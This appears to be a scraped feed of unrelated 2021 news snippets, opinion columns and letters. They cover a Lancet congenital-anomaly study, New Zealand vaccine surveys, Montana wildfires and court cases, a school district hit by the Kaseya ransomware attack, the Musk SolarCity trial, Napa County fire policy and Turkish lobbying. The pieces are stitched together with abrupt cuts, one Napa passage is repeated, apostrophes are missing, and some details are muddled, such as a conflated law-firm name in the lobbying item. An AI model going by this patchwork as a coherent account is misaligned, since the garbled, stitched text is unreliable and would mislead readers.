2) improving surgical care for babies born in district hospitals, with safe and quick transfer to the children's surgical centre,

3) improved perioperative care for babies at the children's surgical centre.

They acknowledge that this requires strong teamwork and planning between midwifery and obstetric teams, newborn and paediatric teams, and children's surgical teams at the children's surgical centre, alongside outreach education and networking with referring hospitals.

They also urge that alongside local initiatives, surgical care for babies and children needs to be integrated into national and international child health policy and should no longer be neglected within global child health.

More information: Naomi Jane Wright et al, Mortality from gastrointestinal congenital anomalies at 264 hospitals in 74 low-income, middle-income, and high-income countries: a multicentre, international, prospective cohort study, The Lancet (2021). DOI: 10.1016/S0140-6736(21)00767-4 Journal information: The Lancet Naomi Jane Wright et al, Mortality from gastrointestinal congenital anomalies at 264 hospitals in 74 low-income, middle-income, and high-income countries: a multicentre, international, prospective cohort study,(2021). DOI: 10.1016/S0140-6736(21)00767-4
New Zealanders' intention to get a COVID-19 vaccine is at its highest since last year, at 81% of the adult population, according to our latest research.

Ministry of Health surveys, which have been tracking public acceptance of COVID-19 vaccines since last year, also confirm the potential uptake has increased to 80% in May, up from 77% in April and 69% in March this year.

Our longitudinal survey, conducted between March and May, shows an increase by six percentage points among those who will "definitely" take the vaccine to protect themselves and their communities, to 67% in May compared to 61% in March.

The increase is visible across gender, age, education and ethnicity. Among Maori, we see a 10% increase among those "definitely" willing to be vaccinated, from 44% in March to 54% in May.

However, the number of people who say "definitely not" to vaccination remains relatively steady, dropping only slightly to 8% in May, from 9% in March.

The uptick in vaccination intentions is good news, but recent modeling suggests we will need to reach much higher vaccination rates to protect the population from the more transmissible Delta strain.

Of the survey respondents, fewer than a third (27%) have often or very often heard or read the government's COVID-19 vaccination communication campaign on the radio, in newspapers or on social media in the last month. About four in ten people (43%) have often or very often heard about the campaign on television.

This lack of exposure is worrying. When we asked people who are hesitant or skeptical about vaccination what information they would need to change their mind, 30% said they'd want more information from the government. This is a substantial increase from 18% in March and suggests a low campaign reach.

The most frequently cited information request was for more vaccine safety data. This remained at 30% between March and May. In contrast, there was a sharp decline in the need to see other people take the vaccine first, from 21% in March to 8% in May.

Drop in COVID-19 safety behaviors

We also surveyed participants about the measures they take to protect themselves. The largest decline we observed was in mask wearing, from 64% in March who always, often or sometimes wore a mask in public to 50% in May.

More than three in four respondents continue to use the contact tracing app, down slightly from 78% in March to 76% in May, but encouraging others to use the app has declined from 73% to 66%.

The World Health Organization advises even fully vaccinated people should continue to follow COVID-19 safety behaviors, such as wearing masks in public places.

Misinformation continues to influence people's decisions, but campaigns to correct it appear to have an impact.

Of the people who watched a misinformation correction video, featuring Auckland GP and advocate for Maori health Rawiri Jansen, 66% said they would definitely take the vaccine, compared to 62% who watched a misinformation video popular among vaccine skeptics on social media channels. The order of watching misinformation and correction does not seem to matter.

The effect of watching a misinformation correction video (just once) appears small, but it highlights the need for continued communication campaigns to address misinformation about the safety, efficacy and regulatory approval of COVID-19 vaccines.

Challenges for the vaccination program

In several countries, vaccination rates have stalled after an initial uptick.

In the UK, vaccination rates have reduced by 50% recently, primarily due to lack of enthusiasm among the young. In the US, vaccination rates fell just short of President Biden's target of getting at least 70% of the adult population partly vaccinated before Independence Day on July 4.

Worryingly, the vaccination rates are uneven between US states, and nearly all Americans dying of COVID-19 are unvaccinated.

This has led President Biden to launch a "wartime effort" to vaccinate the country, including door-to-door outreach, vaccination clinics at workplaces, and urging employers to offer paid time off.

Some US states have offered scholarships, million-dollar lottery tickets, free beers and even shotguns as incentives to increase the vaccination rate.

New Zealand is likely to face similar hurdles. While it may be easier to motivate some hesitant people by improving vaccine access and providing services such as paid leave, it will be difficult to reach those with high distrust in government and health experts.

Communities that have been neglected in conversations about health policies may see the vaccination effort more as a benefit to the government rather than a concern for their own and their community's well-being. Placing vaccination campaigns with trusted community members will help, as we have seen when more than a thousand Pacific people turned up to be vaccinated when the clinic was organized with help from their community and held at their church.

Explore further Vaccination helps protect the unvaccinated from COVID-19

This article is republished from The Conversation under a Creative Commons license. Read the original article.
In January, Tester sent a letter to the agencys director calling the decision irresponsible. In April, he introduced a bill to prevent the rule from taking place.

Daines also urged the agency to reconsider the move and co-sponsored the bill to stop the proposed rule.

Im glad to see the Biden administration listen to my request and roll back their proposal to change city size designations that would have robbed Bozeman, Missoula and Great Falls of critical resources, Daines said. This is great news for our Montana communities.

Missoula mayor John Engen issued a statement that hes grateful Missoula wont be left out in the cold when federal agencies make funding proposals. For example, Community Development Block Grants go directly to cities with a Metropolitan Statistical Area designation. The grants can be used for infrastructure upgrades.

Our ability to directly serve our residents is enhanced greatly by our status as a metropolitan area and Senator Testers work in tapping the brakes here means well be able to continue to serve vulnerable residents through CDBG and HOME programs, as well as make thoughtful local decisions to spend federal transportation dollars, Engen said in a statement.
Wednesdays blue skies notwithstanding, wildfire activity revved up around Missoula in the surrounding national forests and close to home.

A suspected lighting strike on Blue Mountain along Missoulas southwest edge Tuesday afternoon succumbed to quick response by Missoula Rural Fire and Montana Department of Natural Resources and Conservation firefighters before it burned much more than a tenth of an acre.

But the Dry Cabin Fire that started in the Scapegoat Wilderness 20 miles north of Ovando on Sunday grew from 10 acres to 50 on its first day, and hit 300 acres by Wednesday. As its not threatening any major resources, it will just have a crew of five firefighters monitoring it in case it moves in a dangerous direction.

And in far northwest Montana, the Burnt Peak Fire in the Three Rivers Ranger District southwest of Troy has covered 1,150 acres as of Wednesday. It has 101 people backed by four fire engines, six water tenders and nine other pieces of heavy machinery confronting it in steep, rocky terrain.

Gov. Greg Gianforte declared a statewide wildland fire emergency Wednesday. Almost 1,400 wildfires were burning a total of 141,000 acres. Nearly four-fifths of those were human-caused.
A man accused of leading Missoula police on a 23-minute high-speed chase in late June pleaded not guilty on Monday.

Kelwin Laststar was arraigned in Missoula District Court on seven counts of felony criminal endangerment. He is also charged with misdemeanor counts of fleeing from or eluding a peace officer, DUI third offense, obstructing a peace officer and resisting arrest.

On June 20, Missoula police responded to a report of a car driving recklessly in the area, striking other cars and nearly hitting pedestrians, court documents said. After weaving in and out of residential neighborhoods, the car eventually ended up on Reserve Street, reaching speeds up to 90 mph.

Near the intersection of Reserve and Third Street, the driver, identified as Laststar by officials, eventually exited the car after a spike strip deflated one of the wheels of the vehicle.

As officers approached, Laststar reached for something in his waistband, charging documents said. Officials believed Laststar was attempting to arm himself and used a taser.
A key element of the Better Care Better Jobs Act is that it would allow elderly people and people with disabilities to maintain their independence at home, and not receive care at a live-in facility.

We saw the worst of this pandemic and how important it was to allow people to stay in their homes as opposed to them living in a facility where the virus often spreads really rapidly, Camarillo said.

Caregivers like Camarillo often lost hours and pay when apartment buildings for their clients were shut down due to COVID-19 outbreaks. As a result, her patients were unable to receive care.

(The Better Care Better Jobs Act) will not only provide for our most valuable population to be safe and have compassionate care, but its also going to create a lot of new jobs and improve the current ones that weve got, Camarillo said.

The impacts of homecare providers allows people with disabilities, like Jim Gibson of Missoula, to find jobs and maintain independence.

Gibson has worked with the University of Montana Dining Services for nearly two decades.
Richard Hughes smiled as he watched two of his granddaughters, Hadli and Parker, giggle and wash windows at the family-owned company on a recent sweltering afternoon.

We start them young working in the business, he said, grinning.

In fact, Hughes granddaughters represent the sixth generation of the family thats worked in the downtown area.

Office City, at 115 W. Broadway, is a Missoula institution and celebrated its 100th anniversary in 2016.

Hughes, now 70, still helps out at the store with his son, Brian, the current owner.

I still do building maintenance and accounts payable, he explained.

His great-grandfather, Sam Elder, had a blacksmith shop at 218 W. Main, just down the street from Office Citys current location. Elders son, Claude Elder, purchased The Office Supply company in Missoula in 1916 from Joseph Dixon, who later became governor of Montana.

Then Hughes parents, Catherine and Blaine Hughes, owned the company before passing it on to Hughes and his wife, JoAnn.

Now Brian and his wife are running the place and having the kids help out, as every generation before them has done.
Sanon is a Haitian-born doctor, pastor and businessman and longtime U.S. resident who has been detained as a suspect in the assassination plot. He has said he has done charitable work in Haiti, where he has also owned several businesses,. In a 2011 video on YouTube, he expressed a desire to be president of the country and accused its leaders of corruption. Following his arrest, Haitis national police chief, Leon Charles, said Sanon flew to Haiti in June on a private jet with a private security team with the intention of taking over as Haiti's president. Charles said that after Moise was killed, one suspect phoned Sanon, who then contacted two people believed to be the masterminds of the plot. The chief did not identify them or say if police know who they are. Friends of Sanon have expressed skepticism that he would have been involved in a violent plot. It does not appear that Sanon, who has run a string of failed businesses in the U.S., filed for bankruptcy in 2013 and was largely unknown in Haitian political circles, would have the resources or political backing for the operation.
Ebelt said in an email last week the rule "allows for the continued use of federal flexibilities involving telehealth services, Medicaid eligibility and recertification requirements in congregate care settings."

The emergency rule stops the implementation of any Medicaid eligibility standards, methodologies and procedures that would be more restrictive than those that were in place before the start of the pandemic. During the pandemic the federal government increased the share it pays for Medicaid programs by 6.2%, and states that put into place more restrictive eligibility measures would no longer be eligible for that increased match.

But at the same time, the health department is seeking a federal waiver to its Medicaid program to end what is called 12-month continuous eligibility, an action that would trigger the loss of that additional federal money. Ending continuous eligibility was a goal of Republicans during the legislative session earlier this year.

Right now people qualified for Medicaid are eligible for a year. The change the state is requesting from the federal government would end that, but does not otherwise alter eligibility. But public notice of the waiver acknowledges the change will need to be delayed to keep getting the extra federal Medicaid pandemic money.
BARCELONA, Spain (AP)  The number of migrants and refugees who died while attempting to reach Europe on dangerous sea crossings more than doubled so far this year compared to the first six months of 2020, the U.N. migration agency said Wednesday in a new report.

At least 1,146 people perished between January and June, according to the International Organization for Migration. The number of people attempting to cross the Mediterranean to Europe increased by 58%, the IOM's report said.

The Central Mediterranean route between Libya and Italy was the deadliest, claiming 741 lives. Next was the stretch of the Atlantic Ocean between West Africa and Spains Canary Islands, where at least 250 people died, the agency said. At least 149 people also died on the Western Mediterranean route to Spain, as well as at least six on the Eastern Mediterranean route to Greece.

The IOM says the actual number of deaths on sea routes to Europe may be far higher as many shipwrecks go unreported and others are hard to verify.
Now into our third week of 90+ degree weather, Gov. Greg Gianforte recently pulled Montana out of the U.S. Climate Alliance of western states tasked with mitigating the effects of global warming. His spokesperson suggested the governor believes unleashing American innovation is a sounder approach than regional cooperation in dealing with this so-called problem.

Much like his decision to lift the COVID-19 state of emergency in June when Montana is currently only 42% fully vaccinated against the virus. Here in Missoula County we are over 50%, which means that if you have been vaccinated, the person next to you in the checkout line probably hasnt. Ravalli County is 38%, Mineral County 34%, Lake County 42%  I wonder where they do their shopping? And the more transmissible and more deadly Delta variant is rampant in at least 10% of U.S. states  where will they vacation?
Professor Mark Stoler, University of Vermont, stated that, The voters made the Nazis the largest (political) party in Germany in the early 1930s. (Later, it) was easier for the German people to say that Hitler seized power than to admit that they endorsed the Fascism of Hitler.

That scared the bejesus out of me!

Religious nationalists have bastardized the word patriot to cover up their sins. They preferred the tin god that made the USA the laughingstock of the world for four years.

The democratic two-party system has worked quite well in spite of the peaks and valleys of the last 250 years. White religious nationalists, however, want to replace democracy and install a theocracy. I'm really not that impressed with the theocracies of Afghanistan and Iran.

Hating people of color appeals to the psyche of ignorant white people because being white is all they have going for them. We owe the African, Asian, Latino and Native Americans a tremendous debt of gratitude for their massive turnout to vote in the last election!
Testimony in the livestreamed trial in Grand Forks began on July 2. Jurors started deliberating Tuesday afternoon.

Defense attorney Steven Mottinger told the jury during closing arguments Tuesday that Pendleton had been experiencing extreme emotional disturbance on the day of the killings because the officers came to evict him and his mother despite the stress of COVID-19 which Pendleton said had them in self-quarantine early in the pandemic.

Pendleton also thought the officers had killed his mother, but ballistics tests showed the bullet was from Pendleton's semiautomatic rifle.

Grand Forks County prosecutor Carmell Mattison said Pendleton prepared for the confrontation by stocking up on ammunition and that he fired a minimum of 48 rounds using a high velocity weapon with full metal jacket bullets.

During the first exchange, Pendleton shot 20 rounds blindly through the bedroom wall, not knowing who was on the other side, Mattison said.

The only person who was prepared on May 27, 2020, was the defendant, Mattison said. Pendleton was waiting for law enforcement to open that door so he could pull the trigger, she said.
For more than a decade, North Carolinas Democratic legislators have pushed one form or another of a medical marijuana bill, intended to safely, under strictly controlled conditions, allow cannabis to be used to alleviate one or another type of pain. They inevitably went nowhere.

But now that conservative, rock-ribbed Republicans are promoting a medical marijuana bill, success is more likely.

It brings to mind the political metaphor: Only Nixon could go to China.

The N.C. Compassionate Care Act is actually a bipartisan bill. Its primary sponsors are Sen. Bill Rabon, R-Brunswick, chairman of the Rules and Operations Committee; Sen. Paul Lowe, D-Forsyth; and Sen. Michael Lee, R-New Hanover. Support for it is broad throughout the state legislature.

Support is also strong from the public. The Elon University Poll released in February found that 73% of North Carolinians support the medical use of marijuana. That includes 64% of Republicans and 75% of Democrats, the Winston-Salem Journals Richard Craver reported earlier this week.

The bill says modern medical research has found that cannabis and cannabinoid compounds are effective at alleviating pain, nausea and other symptoms associated with several debilitating medical conditions.
The Butte School District experienced ripple effects from a massive ransomware attack on Florida-based software company Kaseya in early July but local consequences were limited, the district said.

We didnt have a high impact to the district, said Judy Jonart, school superintendent.

She said there were fewer people using computers when the attack unfolded July 2 because it was summer and also a holiday weekend. Most employees whose computer use was affected were back online by the end of last week, she said.

Jonart said it appears that none of the districts databases, including accounting data and student data, were compromised during the ransomware attack.

McAfee sent a patch immediately that we put on our servers, she said, referencing the software security firm.

Following our protocols, were in the process of doing an audit, she said, of computer systems, data and cybersecurity protections.

Jonart said the audit could cost $10,000 or so but said the district has cybersecurity insurance to help cover the cost.
Money has been penciled in for numerous upgrades to county government buildings, including $250,000 for boiler replacements at the courthouse and potentially the library.

But the preliminary plan did not include renovations to the courthouse restrooms, something Commissioner Jim Fisher says hes requested for years now. He reminded county officials of that last week and said residents who visit the courthouse to conduct business and pay taxes deserve better.

Im a private businessman and if the health department came into my business and the restrooms looked like they did on the third and second floors of the courthouse, they would shut me down, he said.

There is no hot water in some of them, he said. One of the toilet seats looks like it came off Noahs Ark. This place is a god-danged disaster.

Renovations of the courthouse, which is more than 100 years old and has no AC, have long been discussed but it would take millions of dollars to overhaul the building. Fisher said he realized that, and it would probably take a bond issue to do all thats necessary.

But he said the restrooms should at least be upgraded when so many other capital projects were being funded.
Alas, that is not how they did it. Work was done at the Grant-Kohrs ranch below Deer Lodge with miles of untreated riverbank above and below. Why is that? Will these downstream remediations not be contaminated again by the untreated upstream mine waste? The progression doesnt make sense to me, but it has the virtue of consistency  every segment except the uppermost appears trashed.

Why did DEQ, as the first order of business, not remove all the slickens closest to the river, then evaluate the fish populations before razing the floodplain? Im not expert, but I think you cant analyze the river apart from the watershed. Slicken removal has still not been completed. Formerly healthy fish populations have plummeted, the aesthetics of the river corridor have been ruined, and only a great flood will restore it.

How is it that Silver Bow Creek was a toxic ditch and now looks wonderful but the Clark Fork is going the other way? It looked pretty dang good before, with the exception of some slickens, but not anymore  except where no remediation has taken place.

Without healthy banks for shelter and with grasses, forbs and shrubs to foster an active insect population, there will never be a healthy fish population. Removing the slickens while minimizing floodplain damage makes sense to me.
No management tool

For those who think trapping is a management tool, remember that trapping has driven wolverines, fishers, lynx, pine martens and river otters to the endangered list or close to it.

Brian Giddings, former furbearer coordinator for Montana Fish, Wildlife and Parks, has stated, FWP regulates furbearer trapping seasons for recreational harvest opportunities. Montana's harvest seasons are not based on reducing or controlling diseases. Backing him are professional biologists writing in Trapping and Furbearer Management in North American Wildlife Conservation, "Regulated trapping will not (and is not designed to) eradicate diseases

Traps are indiscriminate. They maim and kill any animal, bird or even fish that triggers them. Random killing of animals is hardly management. Federal trapper Dick Randall said that for every target animal he trapped, he caught and discarded two non-targets.

Its guaranteed that many more elk calves, fawns and bear cubs will die with the addition of wolf snares and the extended wolf trapping and snaring season using bait. This helter-skelter killing spree should not be condoned by any conservation or hunting organization.
MUSCATINE  A smoking electrical outlet caused the evacuation of a house at 510 West Fourth Street Tuesday morning, but the situation was contained before a fire began.

Muscatine Fire Department battalion chief Ron Zheimer said at 8:47 a.m. a call came in reporting a fire in the attic of the house. Firefighters responded and found the house full of smoke. Firefighters checked the area to ensure the house wasnt on fire and ventilated the house to get rid of the smoke. The electrical system was turned off and firefighters called Muscatine Power and Water to handle the outlet.

It didnt turn into anything like a structural fire, Zheimer said. It was just a smoldering outlet.

He said the residents were home at the time the fire alarm went off. They had left the house prior to the fire departments arrival. He said that the best thing about the situation was that the house had working smoke detectors that alerted the residents of the threat.
I am writing after the Iowa Supreme Courts ruling that Planned Parenthood cannot provide state supported sex education to Iowa youth under the program CAPP, Community Adolescent Pregnancy Prevention program, and Governor Reynolds ensuing comments that,  todays ruling is a strong statement in support of the idea that taxpayers should not fund abortion. That makes it sound like the state has been. Government has not been funding abortions.

I was active in the local adolescent pregnancy prevention group when Muscatine had one of the highest rates of teen pregnancy in the state. The goal of everyone I have EVER met working in this arena is to prevent unwanted pregnancy, not secretly wait in order to get to end up providing abortions once unwanted pregnancy happens. It seems to me the state of Iowa aids and abets in the defacto need for abortions by continually undermining funding and service availability by providers who aim to prevent unwanted pregnancies.
In the new court filing, defense lawyers Jennifer and Chad Frese assert there are witnesses who can support Bahena Riveras version of events  that others were responsible.

The motion asserts that two different people who do not know each other told law enforcement in two different cities that the same person  who is not named in the motion  was involved in the killing.

This evidence would certainly have made a difference in the verdict. The defendant chose to testify and spoke of two individuals who were involved in the abduction and killing of Mollie Tibbetts, the defense motion states. The DNA from defendants trunk identified other individuals who were contributors to the blood mixture. It also helps explain the relative scarcity of blood in defendants trunk. While perhaps not every bit of the account fits neatly into defendants account of the events, enough of the facts fit to certainly question whether the state would have been able to prove their case beyond a reasonable doubt had this information been known and presented to a jury.

The motion tells the accounts of two individuals who are not named in the document.
Morrisey, a Republican, had previously said he opposed the proposal on separate grounds. He reiterated Tuesday that the allocation formula fails to recognize the disproportionate harm caused by opioids in our state.

In a statement emailed Tuesday, the Sackler family said, This resolution to the mediation is an important step toward providing substantial resources for people and communities in need. The Sackler family hopes these funds will help achieve that goal.

For years, West Virginia has had the nations highest fatal opioid overdose rate.

I look forward to arguing our case in court this August, Morrisey added. Following next month's hearing, a federal bankruptcy judge will decide whether to confirm the deal.

Purdue sought bankruptcy protection in 2019 as a way to settle about 3,000 lawsuits it faced from state and local governments and other entities. They claimed the companys continued marketing of its powerful prescription painkiller contributed to a crisis that has been linked to nearly 500,000 deaths in the U.S. over the last two decades.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.

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Thomas Marler leaves the District Court of Guam in Hagatna after a hearing on Dec. 9, 2019.
Elon Musk wrapped up two days of testimony in a Delaware trial over Tesla Inc.s 2016 takeover of SolarCity, continuing to argue that the purchase was a sound decision and that it wasnt done to benefit himself instead of shareholders.

Musk, the first and most central witness in the case, sparred repeatedly with opposing lawyer Randy Baron over the course of about eight hours on the witness stand, at one point telling him he was bad human being and saying his questions were deceptive.

The worlds second-richest man was the chairman and largest shareholder of both companies at the time of the deal, and the trial centers on how much of a role he played in pushing his board, and shareholders, to approve it.

Investors and pension funds who are leading the suit allege that Musk and Teslas board breached their fiduciary duties when they agreed to a buyout of the then-struggling installer of rooftop solar panels. Musk is the lone defendant  the rest of the board settled for $60 million last year.

The trial, which was delayed by the pandemic, is expected to take a total of two weeks. If Musk wins, and if the judge finds that the deal was a legitimate transaction, it will be another example of Teflon Elon largely escaping consequences.

If he loses, Musk could be ordered to dig into his own pocket to hand back the roughly $2 billion that Tesla shelled out for SolarCity. It would also be a hit to his reputation as a tech titan who nearly always gets his way.

Baron, the attorney for the investors, spent much of Tuesday pressing Musk about his role in negotiating the price for SolarCity and played clips from videotaped depositions of bankers involved in the $2 billion deal.

Musk largely kept his cool but was clearly frustrated with the line of questioning. Your questions are so deceptive its silly, Musk said at one point.

In his testimony Monday, Musk said he had little involvement in the boards consideration of the SolarCity deal, but Baron noted Tuesday hed hired lawyers to shepherd the deal through, even though the Tesla board at the time wasnt interested in it.

The billionaire also held weekly meetings to spur the pace of due-diligence efforts needed for the SolarCity acquisition.

Musk said the deal was necessary to integrate solar power with Teslas battery. Companies should only exist to create new products and services, he said. People sometimes lose sight of this. In order to create an integrated solar battery product we needed to be one company.

He also argued that Tesla would have gained from the deal even if it had bought SolarCity and shut it down.

The $3 billion of cash flows is 50% higher than the amount we paid, Musk said. Even if we had simply bought SolarCity and shut it completely down we would have gotten $3 billion in cash flows for $2 billion. This is a no brainer.

Kimbal Musk, a Tesla board member and Elons younger brother, took the stand in Wilmington, Delaware, shortly after his older brother left. Eschewing his regular cowboy hat and sporting a gray suit, white shirt and blue tie, he told the court that the Tesla board was not controlled by Elon.

We have a lot of debate, lots of interesting talented people on that board, Kimbal Musk testified. Compared to most companies Ive ever been associated, its a very healthy board.

He also said that the board had discussed acquiring SolarCity as early as 2006, saying it was a long-term goal to bring in a solar-power provider.

Teslas board rejected earlier entries by Elon Musk to buy the company because they thought it would create too many distractions in the car-production process.

The case is whats known as a shareholder derivative action, where shareholders are acting to protect the company. If the suit is successful, the proceeds go to Tesla, not to the shareholders who brought the suit.

Musk made some surprising statements on Monday, including saying that he didnt enjoy being a CEO.

Musks plane, which had moved from Philadelphia to Wilmington, Delaware, earlier on Tuesday, took off for Brownsville, Texas, shortly after he left the courthouse. SpaceX is building its massive new Starship spacecraft in Boca Chica, Texas, south of Brownsville.

While Elon Musk is often followed by enamored fans of Tesla and SpaceX wherever he goes, there were few visible supporters in the courtroom this week.

One man watched the trial in an Occupy Mars t-shirt, but otherwise the spectators were few. The trial had to be halted Tuesday for two hours because someone vomited in the courtroom.
When I finally did get a car, boyfriend and I drove from Minneapolis to New York in my 1972 Volkswagen Beetle. Everything went smoothly until the gas line gave out somewhere around Binghamton, New York. The mechanic took one look at us, and the Minnesota license plates, and charged us more than $100 for repairs. I found out later its a pretty cheap fix, but there went our spending money.

We were traveling to see the sights and our destination was visiting my brother who was attending a seminary upstate in Esopus, a town with a population then of about 50. Upstate New York is beautiful in fall when the trees turn color, and we hit it just right.

We parked the car in nearby Poughkeepsie for the day and took the train into New York City. We returned to find the driver's-side window smashed in. It felt like a punch in the gut, and a few layers of trust and innocence were lost, realizing the statement an inanimate out-of-state license plate can make to a would-be burglar. There was some small consolation that the thiefs efforts were rewarded only with a small booty of Carly Simon and Harry Nilsson cassette tapes.
This is a situation every bit as serious as a pandemic, Ellsworth said. We all have to work together.

Penalties range from $10 to $250 per hundred cubic feet, depending on how much a customer exceeds their ration.

Of the 900 accounts that exceeded their rations, 337 faced penalties of $100 or less. However, 290 customers incurred more than $10,000 in penalties. Just two customers racked up a combined $421,023 in penalties. The city hasn't identified any of the accounts.

Water leaks account for 136 of the customers who exceeded their rations and more than $1 million in penalties. The citys Water Advisory Board could reduce some of those leak-related penalties on a case-by-case basis.

A few members of the public criticized the council's forgiveness program for being too lenient, especially toward commercial customers who exceeded their rations.

"This is a slap in the face to all the people in our city who have tried to recognize how important this issue is," said Tom Belt.

Nancy Dervin said it would be "unconscionable" to "reward water abusers."
Local

Public Safety

Napa's wine industry weighs in on fire protection

Noah Berger, Associated Press Firefighters protect a home in the Berryessa Estates neighborhood of the Lake Berryessa area as the LNU Lightning Complex fires burned on Aug. 21, 2020. Ag industry groups are asking the Board of Supervisors whether Napa County would be better served with an independent fire department rather than the longstanding contract with CalFire.

Major wine industry groups are calling on Napa County to explore running its own fire department for rural areas, rather than contracting with Cal Fire to do the job.

The groups also endorsed the countys recent decision to explore creating a quarter-cent sales tax ballot measure for wildfire prevention. They advised the county to strengthen local firefighting capabilities.

It is apparent that this multi-layered issue requires a multi-pronged solution, the groups said in a July 9 letter.

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Signing the letter were representatives from Napa County Farm Bureau, Napa Valley Vintners, Napa Valley Grapegrowers, Coalition Napa Valley, Winegrowers of Napa County, and Visit Napa Valley.

The letter comes in the wake of the 2017 Tubbs, Atlas, and Nuns fires and 2020 Hennessey and Glass fires. It said wildfire prevention and mitigation are a top priority and described such issues as the loss of wildfire insurance and preparing for the next threat.

Napa County has partnered with the California Department of Forestry and Fire Protection (Cal Fire) for local rural fire services in various ways since at least the 1940s. The Board of Supervisors last renewed the contract in 2020 through June 2023 for a maximum cost this fiscal year of $15.5 million.

Cal Fire provides administrative support and coordination with five full-time paid stations and nine volunteer fire companies. All of this operates under a county fire plan approved by the county Board of Supervisors, according to the county website.

County Fire Chief Geoff Belyea is a Cal Fire employee. The county fire department provides fire protection for 748 square miles.

Wine industry groups in their letter noted that Sonoma County recently secured a $37 million federal grant for wildfire prevention.

It was a little disheartening that Napa County chose not to even apply for such funding, Michelle Benvenuto, executive director of Winegrowers of Napa County, told the Board of Supervisors on Tuesday.

Having a county-run fire department with a fire chief reporting exclusively to the county Board of Supervisors is a way to have better local control, they argue. Local control appears to have helped Sonoma County secure that grant, the letter said.

Maybe what were doing is the best, Rex Stults of Napa Valley Vintners told supervisors on Tuesday. Maybe its not. But its worth looking into.

Board of Supervisors Chairperson Alfredo Pedroza said during a break in the meeting that there is time to explore the county-run option, given the Cal Fire contract runs for another two years.

Thats a conversation we need to have, Pedroza said. This is not targeted at Cal Fire. This is about making sure we have the right partner, whether thats Cal Fire or whether thats our own fire department."

Napa County is not unique in working with the state. Cal Fire provides full-service fire protection to many California residents, with 145 cooperative agreements of various types in 33 counties, 30 cities, 32 fire districts and 25 other special districts and service areas, according to the agency.

Some counties use other models to provide fire coverage. For example, rural Solano County is covered by the Vacaville Fire Protection District, Dixon Fire Protection District, Cordelia Fire Protection District, Suisun Fire Protection District and Montezuma Fire Protection District.

The Napa County Board of Supervisors on June 8 decided to explore a possible sales tax to raise $10 million annually for fire prevention. That could lead to a measure on the June 2022 ballot.

Molly Moran Williams of Napa Valley Grapegrowers told supervisors on Tuesday that there are shovel-ready fire prevention projects that need funding.

Ryan Klobas, CEO of Napa County Farm Bureau, said the group has members who are volunteer firefighters who thoroughly understand the issues facing the county. It would be prudent to involve these individuals in the discussion.

Also Tuesday, the Board of Supervisors heard its monthly wildfire update from Belyea.

Belyea said the water-dropping Chinook helicopter based by Cal Fire at Napa County Airport since early June has yet to be used locally. It was dispatched to a fire last week, but didnt drop water.
Thats a conversation we need to have, Pedroza said. This is not targeted at Cal Fire. This is about making sure we have the right partner, whether thats Cal Fire or whether thats our own fire department."

Napa County is not unique in working with the state. Cal Fire provides full-service fire protection to many California residents, with 145 cooperative agreements of various types in 33 counties, 30 cities, 32 fire districts and 25 other special districts and service areas, according to the agency.

Some counties use other models to provide fire coverage. For example, rural Solano County is covered by the Vacaville Fire Protection District, Dixon Fire Protection District, Cordelia Fire Protection District, Suisun Fire Protection District and Montezuma Fire Protection District.

The Napa County Board of Supervisors on June 8 decided to explore a possible sales tax to raise $10 million annually for fire prevention. That could lead to a measure on the June 2022 ballot.

Molly Moran Williams of Napa Valley Grapegrowers told supervisors on Tuesday that there are shovel-ready fire prevention projects that need funding.
Gavin Newsom has been an OK governor  not bad, but not that good. He deserves a C grade.

Should he be expelled before his term ends?

No. We don't kick students out of school for a C average.

This is how I see it:

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In 2018, voters elected Newsom to a four-year term. The Democrat has served only five-eighths of it. The term doesn't end until after 2022. Let him finish the job he was given. That was the deal.

Progressive Gov. Hiram Johnson gave California the initiative, referendum and recall 110 years ago as direct democracy tools. The purpose of the recall was to allow voters to rid themselves of crooks or incompetent idiots they'd elected.

It wasn't created so we could dump elected officials who merely make some dumb decisions or don't deliver what they promised. Those ousters could wait until the incumbent is running for reelection at the end of the term.

Newsom plans to seek a second term next year. If voters want to boot him, that's the time to do it. In a regular election, they'll have a choice between Newsom and an opponent.
I was advised recently by a fellow resistor that Pacaso Homes is advertising to hire prophets in Northern California in an effort to convince residents and local government of the benefits to us all of the fractional ownership of our homes.

Well, of course, thats not the job title, but it is the job description. This employee  ... will be responsible for evangelizing the power of Pacaso to support a more sustainable housing market and economy among local government, community and business leaders.

In part, ...will be evaluated on your ability to ... recruit local and vocal validators, supporters, and business partners, and advocate for Pacaso when needed.

Evangelize huh? Guy Kawasaki who, himself, was an evangelist for Apple, wrote about how to evangelize a product. You should look him up and read some of the ways in which evangelists operate. His step-by-step advice for evangelists includes marketing tactics like Make it great. It's very hard to evangelize crap. Position it as a cause ... Love the cause ... Localize the pitch ... Look for agnostics, ignore atheists ....
Turkish President Recep Tayyip Erdogan tried to influence former US President Donald Trumps administration by reportedly paying lobbyists a whopping $30.5 million, as per the independent NGO Open Secrets, according to Greek Reporter.

A new report from the organization charges that the money was given during the four year span that Trump was in the White House, with the aim being to influence US policy in favor of Turkish interests.

According to the same report, the Department of Justice is allegedly investigating former Trump lawyer Rudy Giuliani for lobbying the president on behalf of Turkey.

Giuliani was one of the lawyers for Reza Zarrab, a Turkish-Iranian gold smuggler arrested in March of 2016 during a trip to Miami for his involvement in a tax evasion scheme in favor of the Iranian government.

Zarrab, who broke the US embargo on Iran with the help of the Erdogan government, later became a US government witness against Mehmet Hakan Atillam, a Halkbank executive involved in the tax evasion.

He was also arrested in 2017, convicted and imprisoned for almost two years before returning to Turkey.

Giuliani tried to have charges against Zarrab dropped in 2017.

Giuliani offered to drop all charges against Zarrab in exchange for the release of US Pastor Andrew Brunson from Turkish prison and his return to the United States.

The US lawyer had visited Ankara in 2017 where he met with the Turkish president.

According to a recently published report, the Turkish government paid the law firm Giuliani Greenberg Traurig LLP more than $5 million between 2016 and 2020.

Another close ally of Trump, Open Secrets reports, was Brian Ballard, a lobbyist who was a fundraiser for the Trump campaign.

Allegedly, the lobbyist was paid millions of dollars by the Turkish government over the same period.

Open Secrets says that Ballard Partners received $1.1 million in 2017 and $750,000 in 2018 from Erdogan, while Halkbank paid the same company $2.25 million over the same period.

The NGO reports that the Ballard Partners lobby focused mainly on the Department of State and the Department of the Treasury during the Trump administration.

The company later severed ties with Halkbank, a day after a lawsuit against the bank for involvement in a massive money laundering scheme.

Mercury Public Affairs, a Washington-based consulting firm, is also one of Turkeys top lobbyists in the US with close ties to Trump, the NGO report said.

The company also represented Erdogans government and the Turkish-American Business Council, known as TAIK, during the Trump administration.

